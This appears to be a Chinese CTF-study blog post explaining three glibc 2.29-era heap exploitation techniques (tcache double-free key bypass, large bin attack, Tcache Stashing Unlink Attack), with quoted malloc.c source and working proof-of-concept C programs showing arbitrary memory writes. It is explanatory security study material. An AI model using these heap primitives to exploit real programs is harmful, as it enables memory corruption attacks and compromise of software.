博客地址
还是在csdn里访问方便点。
tcache poisoning
原理
在libc2.27中,由于对tcache
缺少充分的检查,导致double frees
横行,在libc2.29中对tcache
添加了一些东西。
malloc.c->2904行
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
如源码,tcache
结构体添加了一个key
字段来防止double frees
在free函数中,
malloc.c->4189行
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))//如果要free的块的key与tcache相等
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)//循环所有key相等的块
if (tmp == e)//如果有块等于要free的块
malloc_printerr ("free(): double free detected in tcache 2");//报错,double free
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
利用思路
1.free一个chunk
2.能够修改已经free的chunk的key值
3.double free
poc代码
#include<stdio.h>
int main()
{
size_t *ptr1,ptx;
ptr1=malloc(0x100);
free(ptr1); //free一个chunk
sleep(0); //只是为了打断点,没别的用。
ptx=ptr1[1];
printf("prt1[1]=>0x%llx",ptx);
ptr1[1]=ptx-8;//将chunk的key的值-8;
free(ptr1);//测试
sleep(0);
return 0;
}
实现了chunk重叠
large bin attack
原理
在libc.2.29中对于unsortbin
的解链添加了验证链完整性的检查,让 unsortbin attack
直接凉透透了。
将vistim插入large中时,发生漏洞,
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//这一块进行了写操作,
//把之前在large中的chunk->bk_nextsize->fd_nextsize赋值,这时没有监测完整
}
测试poc
#include <stdio.h>
#include <stdlib.h>
size_t buf[0x10];
int main()
{
size_t *ptr,*ptr2, *ptr3;
setbuf(stdout, NULL);
ptr = malloc(0x438);
malloc(0x18);
ptr2 = malloc(0x448);
malloc(0x18);
free(ptr);
malloc(0x600);
free(ptr2);
ptr[2] = 0;
ptr[3] = (size_t)&buf[0];
printf("buf[4]:0x%lx\n", buf[4]);
sleep(0);
ptr3 = malloc(0x680);//or malloc(0x66);
sleep(0);
printf("buf[4]:0x%lx\n", buf[4]);
return 0;
}
结果:
starssgo@ubuntu:~/ctf_study/large_bin_attack$ ./mode
buf[4]:0x0
buf[4]:0x555a004a66b0
使用条件
1.largebin中的chunk->fd_nextsize=0;
2.largebin中的chunk->bk_nextsize可控制;
3.unsortedbin里的chunk大于largebin,并且如果进入largebin,是同一个index。
Tcache Stashing Unlink Attack
利用条件
1.smallbin
中可以控制大小为size块的bk指针
2.tcache
中size块的个数为6
3.申请堆块是calloc
结果
bk指针的fd处被写入一个libc地址
原理
扫描二维码关注公众号,回复:
10154469 查看本文章
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
//遍历整个smallbin,获取相同size的free chunk
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
//判定Tcache的size链表是否已满,并且取出smallbin的末尾Chunk。
//验证取出的Chunk是否为Bin本身(Smallbin是否已空)
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
测试poc
#include <stdio.h>
#include <stdlib.h>
size_t buf[0x10];
int main()
{
size_t *ptr,*ptr2, *ptr3;
for(int i=0;i<6;i++)
{
ptr2=calloc(0xf8,sizeof(char));//将0x100 size的tcache个数变为6
ptr=calloc(0x400,sizeof(char));
free(ptr);
free(ptr2);
}
ptr=calloc(0x400,sizeof(char));//填满0x400 size 的 tcache
calloc(0x10,sizeof(char));
ptr2=calloc(0x400,sizeof(char));
free(ptr);
ptr=calloc(0x400,sizeof(char));
calloc(0x10,sizeof(char));
free(ptr);
calloc(0x300,sizeof(char));
calloc(0x300,sizeof(char));//ptr[96]指向的chunk进入smallbin
sleep(0);
free(ptr2);
calloc(0x300,sizeof(char));
calloc(0x300,sizeof(char)); //ptr2[96]指向的chunk进入smallbin
ptr2[99]=&buf[0];// 更改chunk的bk为buf
printf("buf[2]=>0x%llx\n",buf[2]);
calloc(0xf8,sizeof(char)); //申请,触发unlink
printf("buf[2]=>0x%llx\n",buf[2]);//buf->fd=一个libc地址
sleep(0);
return 0;
}
测试结果
starssgo@ubuntu:~/ctf_study/Tcache_Stashing_Unlink_Attack$ ./mode
buf[2]=>0x0
buf[2]=>0x7fc97b6d1d90
总结
无意间发现的large bin attack
在libc.2.30里已经失效,但是Tcache Stashing Unlink Attack
还可以用,所以这个洞对于使用calloc
来申请内存的程序是一个挺大的威胁,本应该更加安全的做法却让程序变得更加危险,所以这个洞虽然使用条件很苛刻,但却不容忽视。